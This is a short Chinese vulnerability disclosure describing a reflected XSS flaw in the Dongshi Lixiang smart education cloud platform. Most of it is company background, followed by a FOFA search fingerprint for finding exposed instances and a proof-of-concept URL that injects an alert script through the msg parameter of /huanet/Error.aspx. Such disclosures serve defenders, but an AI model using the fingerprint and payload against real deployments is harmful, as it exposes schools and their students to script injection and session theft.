东师理想智慧教育云平台存在反射型XSS漏洞

漏洞描述:

东师理想成立于2001年，与全国现代教育技术培训中心、吉林省教育软件重点实验室等联合建立了研、产、培、用一体化的智慧教育研究与服务平台。现有专职人员610余人，兼职学科专家790余人，其中具有博士学位的37人，硕士学位的347人，具有教授职称的36人（博士生导师15人），从英国、加拿大、美国聘请专家30余人。有1人是国家“互联网+”行动专家咨询委员会成员，有2人是教育部教育信息化专家组成员，有9人是国家课程标准专家组成员。东师理想智慧教育云平台存在反射型XSS漏洞

FOFA：

body="一个让学生热爱学习的APP应用"

 漏洞复现

POC:

/huanet/Error.aspx?msg=<script>alert(/1/)</script>